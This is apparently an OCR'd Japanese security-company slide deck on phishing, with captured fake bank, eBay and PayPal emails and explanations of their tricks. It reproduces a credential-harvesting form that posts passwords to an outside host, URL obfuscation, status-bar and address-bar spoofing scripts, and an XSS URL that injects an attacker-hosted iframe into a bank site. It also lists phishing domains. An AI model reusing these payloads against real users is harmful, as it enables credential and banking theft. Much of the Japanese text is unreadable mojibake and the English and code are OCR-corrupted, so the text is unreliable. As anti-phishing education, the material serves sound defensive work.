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@ OO EMNBRYNITFENT=E>F=T YA DTy T A—)L,
BRT—RIZ)0EFREL, ERROEGLEZRLTNDS

& Question from eBay Member

File Edit \Wiew Tools Message Help .',"
Tk %
g & ¢ < X © O w
Reply Reply &l Forward Print Delete Previous Mext Addresses
From: eBay i
Date: Monday, February 13, 2006 3:06 AM
To: BN D —

Subject: CQuestion from eBay Member

(>

eBay sent this message.
“our registered name is included to show this message originated from eBay, Learn miore,

Question from eBay Member — Respond Now d] Yﬂ

eBay sent this message on behalf of an eBay member via My Messages. Responses sent using email will not reach the eBay
member. Use the Respond Now button below to respand to this message.

Gluestion from justl U Marketplace Safety Tip

If this message is an offer to
sell an iterm without winning it
This is Jahn with the camera. | noticed that you picked up the money, on the eBay YWWeb site {including
it has been 2 days and | haven't received the package, what's next? second Chance Offers sent

Are you scamming me 7 Please respond ASAP! Respond Now | thraugh My Messages) please S

Hello, Respond to this

question in My
Messages.

do not respond to the sender.
These "nntzide nf aRaw”
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O EHAZFML, BRICRIEBDA—ILTRLRAZEHRAL TS,
AXIF—RBTFFAM—ILOLIIZR ZBEHSHTMLA—)L

B HSBC: your email — yuji hoshizawa®@securebrain.co.jp - 2= —3F (HTML JEIE)
s ZrE REE FTAL #BAD FIND WDy PhLagddr A LTHHE
WIB(ER | (UEAAEEL [ | oY @B X e - v A 0

ZW A HSBG [Demetrilbritton@hzbe.couk] F{EHEE  2005/05/20 (&) B2
PEIT: wuJi_hoshizawa@zecurebrainco.p
o

{4 H=BC: vour email — wuji_hoshizawa@zecurebrain.co. jp

Dear HZEC Banlt Custommer,

We find that some of our members no longer have access to thewr email addresses. &z result HSBC bank
sent thiz letter to vertfy e-mail addresses of our clients. You must complete this process by clicking on the
below and entering in the stall wandow your HEBEC bank online access detals:

hitp fdwrwrwr hsbe co uldyp dGher2J B A 6V aB WAt 1wl 204 ChrcE oveb ML bl o 9w2TTaCac M4 odin 1 2np S
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@ BELICERZATWND)IEERRIZERKRT DIV IENERL S,
GoogleEMSNDUF A L UMNEBEZEF > THE T AN EE T 9 5.

Dear H-BEC Banle Customer,

We find that some of our members no longer have access to thew emal addresses. As result HEBC bank
sent this letter to wertfy e-maitl addresszes of our clents. You nust complete this process by clicking on the
below and entering i the small wandow wour HSBEC bank online access details:

hitp dwwrwr hsbe co uloypd Ghr 2 TEA A 6V oBOW Zat 1l 2104 Chrc B oveb B bk o Sy 2 T Cé e g odin 1 2np

<A href="http://www.google.sh/url?g=http://go.msn.com/HML/5/5.asp?target=
http://%09%70e9%700i%70%%%2e%09%64%41.%%%%72%09%%75/"
target=_blank>http://www.hsbc.co.uk/ypdGbr2JF4A6VgRWZit1xJ2t04CfxcR
ovzbMILbko9v2UxC6cN404fpl2np</A>

S
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B Account Verify — 2ot2—F (HTML %)

OB REE FTnW BAD FXO WD Phuakdm ATH)
HBER | REANBEQ | ol e S X e v - Alplof
EZ4 A eBay Com [Motice@hosting gghosting net] E{EHEF  2005/05/08 (B 11:04
3BT wuji_hoshizawa@securebrain oo jp
ZC:
2 Account Verify
£as
o b’
Please Sign In...
We are currently performing regular maintenance of our security
rmeasures. Vour account has been selected for this maintenance.
Frotecting the security of your eBay auction account is our primary
concern, and we apologize for any inconvenience this may cause.
eBay User ID |
eBay Password I
Email Address |
Email Password I
@ Having problems signing in? Get _help now
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@ A—ILHDA N TA—LIZH—REFEHRGEELZEEZA AL, [EE]
R EHTE ADLIBmAIMETANIEESIND,

<FORM action=http://home.pufs.ac.kr/~together/zeroboard/si.php method=post
target=_blank>

<INPUT type=hidden value=ballwanda@alltel.net name=mail>

<INPUT maxLength=64 size=27 name=userid>

<INPUT type=password maxLength=63 size=27 name=pass>

<INPUT maxLength=63 size=27 name=eemail>

<INPUT type=password maxLength=63 size=27 name=emailpass>

<INPUT type=submit value=Submit name=submit>

</[FORM>

S
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O BOAAHBEZARYSILLEBB=H, N\ T TSI RIZEKY)
DY A ERIRT B,

a Home: personal, business. online, internet. banking: HSBG Bank UK — Microsoft Internet Explorer

PoOrLE RRE ST BREADE WL AT aw
OO NRAG L= dhwow @)@ 23LUM
P FPRELAD |@ hittp: A hsbe co kA1 /2 hsbe fabout v_| 5280

| HSBC m The world's local bank Site zearch: |

3 http:/ fagppevof.mail333.com — E-mail Verifica... |._|

» Personal

b Current accounts
P Savings and investments

¥ Credit cards .
¥ Loans Please enter your Banking ID: I:I

b Mortgages

¥ Insurance Please enter your Date Of Birth: I:I

b e all products

Welcome to HSBC Intermet Banking

Personal Internet Banking || Please enter your Security

P Logon P Register Number: I:I
» Business

Cwer GO0,000 business

customers cant be wrang. b — 3 T
Comein and take a look at @ A-SiEmEnELE | | | | @Ak
whatwe have to offer. Your home may be repossessed

b view all products i ; not keep up rnpnymsn'ta

Business Internet Banking
¥ Logon

' v b
& T e e e "
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¥ META Refreshz{s > TERY DY A EFTmMHIAIE .
window.openT7ZRL ANR—EY— )L NR—ZIERRIZLI=BDRY
TT7 VT I4RIERRT S

<META HTTP-EQUIV="Refresh" CONTENT="0;
URL=nhttp://www.hsbc.co.uk/1/2/hsbc/about">
<SCRIPT language=JavaScript>

/[ ensure top window

if (window != top)

{
top.location = window.location;
}
</SCRIPT>
<title></title></HEAD>

<BODY bgColor=#ffffff onload="window.open(‘welcome3.html‘, 'metoo7’,
'top=205, left=230, width=410, height=250, toolbar=no, location=no,
scrollbars=no, resizable=no")"> S
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@ JavaScriptEFHo71= X TF—2 X /N\— D44 215

<SCRIPT language=JavaScript>

<l--

Il Following COPYRIGHT 1997 Dennis & Family. All Rights Reserved.
function snapin(jumpSpaces,position) { var msg =

"https://lwww.paypal.com/cgi-bin/webscr?cmd=_login-run"; var out = ""; for
(var i=0; i<position; i++) { out += msg.charAt(i) } for (i=1;i<jumpSpaces;i++) { out
+=""1} out += msg.charAt(position); window.status = out; if jumpSpaces <= 1)
{ position++; if (msg.charAt(position) =="") { position++ } jumpSpaces = 00-
position } else if (jumpSpaces > 3) { jumpSpaces *= .00 } else { jumpSpaces-- }
if (position '= msg.length) { var cmd = "snapIn(" + jumpSpaces + "," + position +
")"; window.setTimeout(cmd,00); } return true }

//-->
</SCRIPT>

S
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@ TIT4T - A )TNEERNZI DL, JavaScript AT TNz kD
AT —RAN—DIBEZHSTENTED

Fxals D EE

SRIE SN

AH0F |
Java P Ly bOAD T -
() HAPnd%ERT e
) EhCEE
(@) FIITH

|3

() HATDNERTIS
OF 35 her
Ok-iher
AOUF M EBBEN T D ET
H{PDUERT IS
EICTD
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| £

a9 3
HARLEED
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9@ TABLEEZRZF =7V H—TRAT—RAN—% AL ERX
DIV LT ELDBTRLURAER R

@ Secunia Advisories: Internet Explorer/Outlook Express
Status Bar Spoofing(http://secunia.com/advisories/14304/)

<P><A id=MALL href="http://www.cerehad.org/redir.ntml"></A></P>

<DIV><A href="https://www.visa.com/upib/">

<TABLE>
<CAPTION><A href="nttps://www.visa.com/upib/"><LABEL for=MALL>
<U style="CURSOR: pointer; COLOR: blue">Sign On to Online
Banking</U>
</LABEL></A></CAPTION>
<TBODY></TBODY></TABLE></A></DIV>

S
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VISA

Dear Valued Customer,

Eanking Support are remind vou that on hay 27, 2000 our Account Review Team identified s
in vour hanking account. In accordance with YVisa Card’s Client Agreement and to ensure thai
been compromised, access to yvour savings account was limited. Your account access will rem
problem has been decided. If vour account access to stay blocked for a long period of time m
limitations on the use of vour account and possible account closure BEeview Team advise vou
petrform the steps requisite to return yvour online access as soon as possible.

Zign On to Onling Banking

To protect the confidence of vour account access, emplovs some of the most advanced Ban
systems in the world and our anti—fraud teams regularly screen the Online Bank system for u

Thank wvou for vour attention to this problem. Eeview Team apologize for any inconvenience. T
measure meant to help protect vou and vour Debit Card account.

Good luck,

Online YWisa Card, Online Account Customer Support

https: A viza.comupibs S
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@ ERERDY S IEhttp:/ /www.cerehad.org/redirhtml=H%, X
T—RA/N—[ZlEhttps://www.visa.com/upib/EFRRESND

=ign On to Onlineg Banking

V)

To protect the confidence of yvour account
systems in the world and cur anti—fraud tea

Thank vou for vour attention to this probler
measure meant to help protect vou and vol

Good luclk,

Cnline VWisa Card, Online Account Customer

https: A viza.com upib! S
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@ RYTT7YTI4URITFRL AN—F AT HEO, PR X/N—
FIzZFENSLWVXFEAERRLERY T 7Y T4 RIER KL,
EERIZF7IEALTWBURLEREL TS

O - ©Q  |1x] & b POnr=® Joencrn @7

FELA D ghttps: | fwww, paypal. comcgi-binfwebscr

PayPal)

Welcome Send Money

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



FRLARN—D{EET

var vuln_x, vuln_y, vuln_w, vuln_h;

function vuln_calc() {

var root= document|
(document.compatMode=="CSS1Compat’) ?
‘documentElement’ : 'body"

I;

vuln_x= window.screenLeft+72;

vuln_y= window.screenTop-20;

vuln_w= root.offsetWidth-200;

vuln_h=17;

vuln_show();

}
var vuln_win;

function vuln_pop() {

vuln_win= window.createPopup();
vuln_win.document.body.innerHTML=
vuln_html;
vuln_win.document.body.style.margin= 0O;
vuln_win.document.body.onunload=
vuln_pop;

vuln_show();

}

function vuln_show() {

if (vuln_win)

vuln_win.show(vuln_x, vuln_y, vuln_w,
vuln_h);

}

var vuln_html= "¥x3Cdiv style="height: 100%;
line-height: 17px; font-family: ¥'Tahoma¥',
sans-serif; font-size:
8pt;">https://www.paypal.com/cgi-bin/webscr'

if (window.createPopup) {
vuln_calc();

vuln_pop();
window.setinterval(vuln_calc, 25);
} else {

}

Copyright (¢) SecureBrain Corporation. All rights reserved.
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@ Windows XP SP1Tl&. yOLL R -Ry TS -94 R 7R
L AN—D LIZRRSEBZENTESH ., Windows XP SP2T
(% BREINIZEH I RIOIOLD LifE NIFOEIZER RSN
%

i

O © [ @G Pr=r Jesnow @
PR | &) http/ /6396 62100 mrte/cei-bind pavpal Aaginht ml
htkps: ) e, pavpal, com)ogi-binfwebscr

PayPals
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@ XP SP2 T3 X a)TA1DFREICL>TIEK, 7RLR/NN—_EIZRY
TT7IT T4 VR IMERRESNTLED

LN T1DEE

SRIE (5

&] Web AU FIBBENETO ML ETAT A LT UERTE A
% ST ERTED

BICAD
BHIED

&] A APRIEORIERA L2 T FOERR L R R 3
b3 P
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[ ok | [ Fet | S
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@ RYTOAURITOYIHEEOESZRE T S=HICHESNTZ

3 PayPal - Welcome — Microsoft Internet Explorer |Z||E|[X|
e REE RTW BREADG w-LD AT b
&) © ¥ B POn=z gesrow @ -2 F B

FHELEAD @http:;";"www.tc:hiIe.n:u::m;"phpIivehelper—innfupdate;" v fe@h

]
Pa.yPal Sign Up | Log In | Help
Send Money Request Money Merchant Tools Auction Tools

This page has been moved

Click here to go to our main page
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&\(

@ WebTooYM EZ 2Ry 7y rTOvIieeTcld,. —DE

ITRLTEBNIZIRNDTAURIETAYISNEHH, R—

BREVIVITHEE, A EENELET I aVIZRYRH

MWD RY T 7T o4 RIIETOy IS0
@ FHE I LL~xrraVy 7RI Windows XP Service Pack 2 ~Dxt it
[Zm@llT7= Web Y1/ hOExE1E | 2SR

http://www.microsoft.com/japan/msdn/windows,/windowsx
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Pa,yPaf Sign Up | Log In | Help

Welcome Send Money Request Money Merchant Tools Auction Tools

Member Log In Forgot your Password? Join PayPal Today
Mow Cver
Email &ddress | | 6.6 million accounts Learn rmore about

PayPal Wwarldwide

Io Sign Up Now! |

Passward | |
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Online Account Access Login — Microsoft Internet Explorer

File Edit “iew Favorites Tools Help

Q.0 . 5 B @

o83 &

Back Fotwatd Stop Refresh  Home Search  Fawvorites  History Mail Print
Address @ https: v, orchardbank, comjcossa/ CBCustomerCarercmd_DisplayLogin= j Go
2
ORCHaRD BaNK' CREDIT CARD Provided by HSBC X0

HOME

FAQS CONTACTUS ABOUTUS PRWVACY/SECURITY SITEMAP AFFILIATE PROGRAM Related Web Sites

CARDMEMBER

LOGIN
Please Login
Forgot Login 1D / () Returning User? () FirstTime

Password? User?

b FPrivacy Staternent FPleaze entaryour Cardmember Login 1D and
Frivacy -tatement .
Register now for

Online Account Pet Health
Access, L
Insurance
Mow there is health
) Register Naw | insurance far every
Login ID | | Whats This

rnermber of the

F asamard.

Password | | withat's This farnily, Get a free

quote, far your pet's

Forgot Login |0 ¢ FPassward? health and your
peace of mind,

Lagin —

One Million

* Frequent Flier
Miles!

Safe and Secure

Fly away free in the
Cruring @ Secure Sodiet Layer (S5L) session, data passed badk and forth ShareBuilder; Million

between your computer and our online card server iz secured by using public clicktoverify Mile Giveaway! See

€1 [T T [ |5 [ mnternet
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a Online Account Access Loegin — Microsoft Internet Explorer

File Edit Wiew Favorites Tools Help
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Q.0 .Ix & @ P xw 8 2 =

Back Forwatd Stop Refresh  Home Search Fawvorites  Hishary Mail Print

address @ htkps: v, orchardbank. comfocssafOBCustomer Care?crmd_DisplavLogin=

ORCHARD RANK® cncrir -ann
Fly away free in the
cket Layer(55L) ses=ion, data passed back and forth 1 ShareBuilders Million
uter and our online card senver is secured by using public clickoverify Mile Giveaway! See "
| | | | |é |ﬂ Inkernet A S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



TELAN—E%3 (3/3)

@ XP SP2Tl&. window.openD g TRAT—RAARN—IERRETE
FLTERAT—RAN—[INTRREND

_— - e a [T

ShareEullder*g Hllllun
Mile Giveaway! See

Slte

blic clidetoverity

| | | | E |ﬂ Intermet 4

& Internet

¥ FTRLAN—ZRLTWBEEIE. ZAMNLNR—[ZR AN IR IR
=h3

2 http:/fareal. 741.com - Online Account Access Login - M

File Edit ‘iew Favorites Tools  Help

Q. Q. X R

Eack Forwmatd Skop Refresh  Home

>

Search Fan S

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain




AINL T4 )L AEET (1/2)

B Earthlink client information confirmation. — %12 —3 (HTML 35>

PME RRE ST RAD FRQ UMD PIvaLl ALTH
RB(ER | SEANBEQ | ERw [ o v B X[ e-v-A G ef

EY A EARTHLIMKE Billing Center [billing@garthlink-net.com] E{EHE:  2005/04/430 (4 962
FETT: wuji_hozhizawa@zecurebrainco.jp

CC:

%%  Earthlink client information confirmation,

Dear Earthlink Customer,

During one of our regqular automatical werification procedures we'we encountered
a technical problem, caused by the fact that we could not werify the information

that wou provided during registration.

We urgently ask you to subnit your information so that we could fully werify
your identity, otherwise an access to Earthlink services for your account will

he deactivated until you pass the werification process.

Please use our secure ohline application to submit your information - update info.

Thank you for using our serwvices,

Earthlink Payment Processing Department.
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B IMPORTANT: ATET Account Termination — Az~ (HTML JE30) M=
P ORLE REE FTW BAD FRQ w- LI PhLaa ATH)
PCRIBER | (RREAREQ | EEW | F o | ¥[S0 X | e -+ - A -@!

EH A Ajvreeland [MikeMichelEverhart@zupport-att.com] E{EHF  2006/067 G0 024
TESE wuji_hoshizawa®@zecurebrainco jp
CiC:

o IMPORTAMT: AT&T Account Termination

Dear AT&T member

Due to recent secunty upgrades and antt fraud protection measures we
request vou venfy your account.

We strongly reccotnend you to update your account nformation
otherwise of neccesity we will freeze vour account.

Fleaze enszure that all information entered 15 accurate to validate
vour identity, ff mcorrect information 15 prosnded

it may lead to account blockage.

Follow this hnk to update vour account

sincerelly,
support Teatn
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@ BEEBFEIFFELUBTRINAL T4V T HFBEZOBNTF
AREREZIZHERAT S, ABDBETEIRALGWNEDTE, R/NL-
TA4ILRAEFENLDXXFHEONAD>TLED,

baskethall posttves collector appraisal begiﬂsl
IREEVFNRC A leag  ottrell reachable formalizes doorsteps djmnnshl

Due to recent securtty upgrades and anti fraud protection measures we fooerINrRC =i less Laein A=
=ts It Al i sl isi gt es bl olers Bertram cowing beagles ﬁndwerl

We strongly reccotmend you to update your account information [EEETGInt et @ ey st W= k=T
otherwise of neccesity we will freeze your account. |efeetterg=ute [ A= rtaaviot=i v @ eLel:insstay g 1= vs] Eetseyl

Please ensure that all information entered 15 accurate to validate QRIS EUE=Ab STy E oF-T E R oTyyole i)
vour identity, if incorrect wformation 15 provided Slasiteintmveibte tol s W (o -t l= s-::-ldieriné
it tnay lead to account blockage. (e atare R NTInt=t iV REI=3:ve) Loy g Lo Bzt To Tl ot 1= Samrdayl

Follow thiz ink to update vour account Sesleibtagie gl Ret:1evisl-R:Vgi (= tok: sk.imsl
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B Woolwich Internet Bankine — please validate your account [Fri, 12 May 2005 13:18:09 -0400] ... |T

BX

P IrE REE H®TW HBAD ER0 YLD Fhhau@ ATH
RiRER | 2 BARED | (REEW | o | WS X | e - v - A | @!

ZH A The Woolwich [zupport refrum 5787777998 woo lwich.couk] ={EHISF  2005/06514 () 226

PETC: vuji_hoshizawa@securebrainco, jp
Cc
4 Waalwich hternet Banking - pleaze validate vour account [Fri, 13 May 2005 13:18:09 -0400]

[

THE WOOLWICH
-]

Dear client of the Woolwich Internet Eanlk,

Technical services of the Woolwich are carrying out a planned software upgrade.
YWWe earnestly ask you to visit the following link to start the procedure of confirmation of
customers' data.

hitps: A woolwich. co.ukfcustomers carefconfivm. asp S
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Account Error (ID: 000-180769) — A== (X A FER)

P orLE REE FZTW HAE FR0 v kD Phau@d ALTH
P CRiEEE | CASEAEEL | (3R | o | ¢ S8 K | e - e - AP a | @J
EH A Charter One [admin] 2@charteronebank.com] JEEHE:  2005/05/20 (B 10:24
TG yuji_hoshizama@zecurebrain.co jp
CC:
& Account Error I0: 000-130769)
Dear GharterOne Bank Gustomer, ~
CharterOne Bank iz committted to maintaning a zafe envioronment for our customers. To protect the security of vour account, CharterOne Bank
emplovs zome of the most advanced security svetems in the world and our antifraud teams reeularly gcreen the CharterOne banking system for
unuzsual activity.
e are containing you to remind vou that an May 28, 2005 our Account review team identified some unusual activity in vour account. Th
accardance with CharterOne Bank's User fereement and to ensure that vour account has not been compromized, access to vour account was
limited. Protecting the zecurity of vour account and of the CharterOne Bank Metwork iz our primary concern. Therefare, as a preventative
meazure, we have tempararily limited access to zensitive account features. To restore wour account access, pleaze take the following zteps to
engure that yvour account haz not been compromized:
1. Follow the link below to get the verification started, NOTIGE In case you foreot vour Username/Fazsward pleaze follow the directions below or
call 1-877-982-FREE for additional help.
2. Fill in the information required and Press “ Enrall Mow®
3. Review vour recent account hiztory for any unauthorized withdrawlz or deposits, and check vour account profiles to make sure that no changes
were made.
To get started please copy the link below in your browser:
http/ Swmmcharterone.comsScarde/ market. asp?code=K2 2 XA EXEC iframe+atyle 83 DH2 2 top¥3 AOKE B+ le X3 A0XS B+position XS fabso lute X3 BX2 2 o
+FRAMEBC RDER%I D%220%22+ B0 RDER%A D2 20%2 2+ width %3 01 000+he ight %3 DA00+=r %3 DE22h Hp%3 A%2 FE2FE2 193 220,62 fcharter $2 FX2 253 E
Thanks for vour prompt attention to this matter. We apologize for any inconvenience this may cause.
Sincerly,
CharterOne Bank; Account Review Departmentl P
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http://www.charterone.com/cards/market.asp?code=%22%3E
%3Ciframe+style%3D%22top%3A0%3B+left%3A0%3B+positi
on%3Aabsolute%3B%22+FRAMEBORDER%3D%220%22+B
ORDER%3D%220%22+width%3D1000+height%3D600+src%
3D%22http%3A%2F%2F62.193.220.52/charter%2F%22%3E

|

http://www.charterone.com/cards/market.asp?code=><iframe
style="top:0; left:0; position:absolute;" FRAMEBORDER="0"
BORDER="0" width=1000 height=600
src="http://62.193.220.52/charter/">
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@ JORY AN ZRO)T T4 D55 E=EFALTIFRAMEE =%
HHAI R—UEELEZTINS

a Charter One Bank | Charter One Debit MasterCGard — Microsoft Internet Explorer
rHE AREE FTl BRICANG v lT AgLTH

O ©Q HRAG P deornnw @ R-ESBLJEA

: PELAD @ httpe/ Avmene charterone.com/cards/ market aspToode=X22RIEXOC frame+sty eI DX22topK3 ADKI B+left%3 ADKS B+posi

3% Charter One
Not your typical bank.

Terms of Use | Open an Account | &pply for a Personal Loan | Apply

Charter One Personal Online Banking

Welcome to Charter One Online Banking!

Related Links

User I0: | | Mot Already Enrolled?

Cnline Banking Test
Cnline Banking Fad
Maintenance Schedu

50 Ta: | Default Start Page v| [ Make this page my default start page online Satisfackion £ S

Cusztormer Service

Fassword: | | Forgot vour Password?
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B Southtrust Security Motification — A=t —3 (HTML 3%
FrE REE FTA0 WAL ST WD Foughify ALTHH

P LIRS (R

A EBAEEL

BEEW | | v S Xlﬂ-v?vﬁ=|4}:|@!

ZH A SouthTrustBank [AntiFraudwz ib@zouthtrustcom] FH#{EHEE 200550601 Gk 20563
FEFE yuji_hoshizawa@securebraincop
i

e Southtrust Security Matification

F Dear Southtrust clients,
mt AW  Pleasze read this message carefully and follow it's instructions,

Southtrust iz committed to maintaining a zafe environment far its commuonity of
custarners, To protect the zecurity of vour account, Southtrust ernploys some of
the most advanced security systems in the whole world and our antifraud teams
reqularly screen the Southtrust systern for unusual activity,

Recently, our tearn identified zorme unusual activity in your account, In accordance
with Southtrust Mermmber Agreerment access to vour account will be limited, This is a
fraud prevention measure meant to ensure that vour account is not compromised,

In arder to secure your account we rmay require some specific information frorm
wou, We ancourage vou to log in by clicking on the link below and complate the
requested fields as soon as possible,

https:/¥search, southtrust cornyretail/Login. asp

This e-rmail contains information directly related to vour account with us, other
zervices vou have subscribed, andfor any application you may have submitted.

Sincerely,
Southtrust Security Department,
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<A
href="http://search.southtrust.com/iphrase/query?redirect&amp;s=116632544212&amp
;target=<script>window.open(‘http://southtrusl.com/SignOn/SignOn.php','popup’,'width=
800','height=500','scrollbars=yes','resizable=yes");window.location.reload("http://www.s
outhtrust.com/st/CommercialSolutions/");</script>"><FONT
color=#0066cc>https://search.southtrust.com/retail/Login.asp</FONT></A>
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O SHBDO—EaETFE o= LWNWRLTERT

3 Welcome to AOL.com — Microsoft Internet Explorer
JrLEY REE FTA BRLCADG WD AJLCHH]

O © RNEG P foomow @ 35

T

: FELALD @ http:A Abilling mx—-aalocams

A AOL COM % a3 & ) a

AOUInstant Messenger. My AOL  Parental Controls  Shopping

Welcome to AOL Customer Support

ou were referred to this location because your credit card infarmation on file far last
payment processing system. WWe ask that you carrect your billing information that y
submit accurate infarmation may result in suspension of your AQL account.
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msnbillingupdate.com
userpage-charterone.com
ebay.member-security.com/.eBay/
ebay-loginpage.com
paypal-com-us.com
www.paypal.com.international-transaction.info
protect—paypal.com

online—hsbc.com
www.paypal.com—-cgi—bin.biz
NICOS.CONCOUrSe.jp
regionsbank.com.dish2.net.ibizdns.com
www.fraud—control.net/paypal/
staff.earthlink—box.net
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a NatWest Online Banking — Microsoft Internet Explorer = |[O]*
JriE) REE #TW BREADGE YD ALTH i

O -©Q HRAG Puo=germvw @ & & -©

PO |@‘| https: Ao nwolb comSsecure/default asp refererident=8607 7633

Account Info IR

FTON  BRICAD A
Manage Money NatWest OnLine Ba it \ y A S a) B = -
ﬁ?ﬁé - x| 2 @n #E S ohRAN € o M - ﬁ
Apply Online Logon - Step 1 v = e i =

T T — T LD |§| hittpe/ Smenm personal-natwest.com.”

http://www.personal-natwest.com/

BEE M—gLT AL HD

Exit

Please enter your
Customer Murmber

day 21 fug 2003 Account Info ~
Manage Money NatWest OnLine Banking bace Hel
This is your date of birt Apply Online Logon - Step 1 Print Page

application followed by t Maintenance

Exit
[] please tick this box Please enter your
Customer Number I:l I:l

[ Tick here to reduce { ddmmyy

= Sunday 21 August

&

This is yvour date of birth {ddmmyy) as supplied by you on your
application followed by the unigue number identifying you to the Bank.

[l please tick this box if you have a new Activation Code
[ Tick here ta reduce the time before automatic logout Explain this,

b /
:§| M= ENELE o 1Al S
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) Amazon Honor System - Microsoft Internet Explorer Z||E|

X]
'1:

Fle Edit \View Favorites Tools Help

\_’J} e - |ﬂ @ _h /._\J Search kE'j:f’Favorites EE <] ~ :__; IJ_J-I - _J ﬁ '3

Address |:E| http:/f61.2353,119,49) wwang, amazon. com)amazon/amazony, xfindes . html v | Go | Lirks ¥

Y

WELCOME | <rnnt [BOOKS n%EE??E'ﬁ.%STELECTHGHIES music [ ovo [ Io0ls 8 2EE MORE

SLLENEUEYDIRELE American Red Cross Hurricane Katrina READY TO GIVE?

o Relief
=Ing HerEpags Your payment amount:
Amazon. com Monprofit Vieti : i
L ictims of Hurricane
Innowvation Award . . Us I:I
KEatrina are attempting
Employees' Community to recover from the Mecfmpg:dvi:ﬁfd:l I
Efforts massive storm. American
Fed Croszz wolunteers Payments Guaranteed Safe
Share your thoughts have been dEp:,LDYEd to
. . American the hardest hit areas
E-rnail a friend Red Cross of Katrina, s Total s
about this page o . Collected: $£9,536,783.72
destruction, supplving & of
hundreds of thousands of victims left Payments: 88377

homeless with critical... Eead more

You are paying: American Red Cross
(americanrederosshurricanerelief)

&] # Internet S
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¢ BeEAMRS (A LALIERZ) 2RV =10

<) Sign In - Microsoft Internet Explorer Certificate
File Edit \“iew Favorites Tools Help 1".' e — - T
zeneral |Deta||s || Certification F‘ath|
. b - p . ; P i)
O O BEG| Pwe oo @ 35 B-LUE
: Address |@ https: ffsignin.ebay, com, account-enter, usfaw-cgifSignin, html V| G0 @x Certificate Information
= M
\ e This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.
Sign In Help
New to eBay? or  Already an eBay user?
IFvou want to sign i, you'll eBay members, sign i to save tine for bidding, seling,
need to register first and other actities.

Issued to:  alexgil.com

Registration 15 fast and free. |eBay User ID |

Forget vour User ID?

Password Yalid from 7/27/2005 to 1/21/2017

Forgot vour password?

Issued by: alexail.com

[ ign In Securely = l

Issuer Skatement

(] Eeep me signed in on this computer unless I sigh out.
Q Account protection tips

&

< | >
] Done S @ Internet -3
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e

& COEFUTEEREDETIRNTE,
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| CitiBusiness Online - Microsoft Internet Explorer

File Edit View Favorites Tools  Help c';'f"
: " . -
i '. ,’_j o'W 5 Vi i T g
O O REG|Puen frow= @3- 5 B-LIK
Address @ https: f/citibusinessonling. da-us. citibahnk., com/cbusol/signon. do b Go

~~,
CItI * Home = User Guide = citi.com

CitiBusiness®online

.S
Select the appropriate entry from the pull-down menu and click CONSUMER WARNING FOR ONLINE USERS T |
Enter.
, , Wie want your online experience to be enjoyable and 2
You must have avalid Business Caode, User 1D and Passward to ; ; )
anter this site wiorty free. Shopping and banking online can be
) convenient and secure —— if you take a few simale
precautions. Many e-commerce websites utilize
Business Name: | Guest vl [EntErl [ Delete ] state-of -the-art encryption and other security
procedures to safeguard you and wour money.
SelectNew User ifthis is your firsttime using CitiBusiness Here are a few suggestions to help you have a
?Er;IIUr?aerlf;Dt;nStgﬁ Eamputer, and yau will be using this computer seeue GG CEerE
Selact Guest ifthis computer is not where you will regularly use * If you suspect a website is not what it
CitiBusiness Online. purports to be, leave the site. Do not follow
any of the instructions it may present you, e
< Tii | >
&

- ", - - [y o munsG
Citibank, M.A& | Citibank, F.S B., Citibank (West), FSB, Citibank Texas, M.A. | |cifibank] | \ENDER:
Member FOIC. . . Amemberof crtigroup.
citi e

Citigroup Privacy Promise

sy Citi. com Tetms, conclitions, caveats and small printk -~

Copyright & 2005 Citibank

@ 2 & mternst

| £
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@ FLUALEEBAZE TIEAL, EquifaxmMbEEL=H—/\SERAEM
AULSNTWNS, T79HNEEAYE—JHERREINGN,

4 | EEE | ZEERMIAR |

FTEE |[FAT v
=i i ~
Eﬁﬁ% Equifax Secure Global eBusin...
[ B ph T 2005108128 220117
EE?JJ%@FEJ{D#;%T 2006210128 2201117

citibuzineszonline.da—uz.citiba... =

= RS#4 (1024 Bitsd
.h‘:ﬁf,fﬂh F—3RIT £3 19 9c oo Oc 36 32 a2 fic 4.,
TR CRL BoARA b [1IGRL Distribution Point: Dis.. v

M = citibusinessonline da—us.citibahnk.com

Ol = Domain Gontral Walidated - QuickSSLRD

U = See wwww geotrustcomsresources fops 205

Ol = https: Fzervices. choicepoint netfget. jzp MG TER466460
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PayPal Secure fApplication

IPSyPalh

PayPal.corn Authorization, step 1 of 2
Plzasze fill all the fields below:

Credit Card Number: |

PIM:

Please provide us with your correct PIM
number so that we are able to cross
check your credit card with your bank
account

CVYY Code:
2 digit number that appears to the right
of your card nurmber

Expire date: 01 =] |2003 -

[ I confirm that the above information is correct

Mext >

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



PWSteal.Jginko (1/2)

¥ PWSt

eal.Jginko(TSPY_BANCOS. ANM)IZ, HTTP/Xr & BE 1R

L. RR=ZF|RIT. A — NIRRT YL BERIT. ZHERBIT
BEDODWebHT A TCAASNFE=A—T L, RRXT—REGEEDIEHR
NI D

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBra]n



PWSteal.Jginko (2/2)

DBAEERTRER
QIA—HHAHLEDB/SZRT—RE: TAETS

EEEH KEE~BERITXE

D FRE KW BRIANE
B - a o »

Q- Q ¥ @G O8= sesnn @ 2 o -
ittps:/#fes.sbark co jp/F ES/ebank / Ebank Servlet?COMMAND=LOGINZAL v

(P —rvomE~&5C%
e — -
ngar-F [
— |
:_—‘Ijs I\D/rwxl% @N_yﬂ;;z;;ffzﬁwmmnﬁm;;a»so — a ﬁE,/fi-d)-lj-_/\“
(% St SV AVE s u
ORfTOOT A R—=D(Z TAR— BEZI-a74 L
TIERT S IS s
B TES

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain

WD AN L




24900 %5% (1/2)

® FRZOBFEFH
@ A=ILFRDYIIEEZ HIZT )y I LEN
¥ FAANBEREA—ILTEELRERL
¥ TIIFICIEmEFTD/NNYFEH TS
 BEANBHREERETIRNCEY—VEERTD
® S—/NEEBRETARYDHAINEINTFTVITH
® BHDTGANIUZIT IO DT VIR—IMNBT AT B, BEETRLX
EANDLTT7IERTD
¥ TRUAN—DURLEMERT S
¥ TUFIAILREELLES

Copyright (¢) SecureBrain Corporation. All rights reserved. SecureBrain



249755 (2/2)

@ A—ILIZBITBXE
¥ TOFRANLEMTI(YI U TA—ILERET S
¥ EERAVREEFM TA—ILDOEETHIEFRTETOLONEINERT
Z
¥ WeblzHBIT Btk
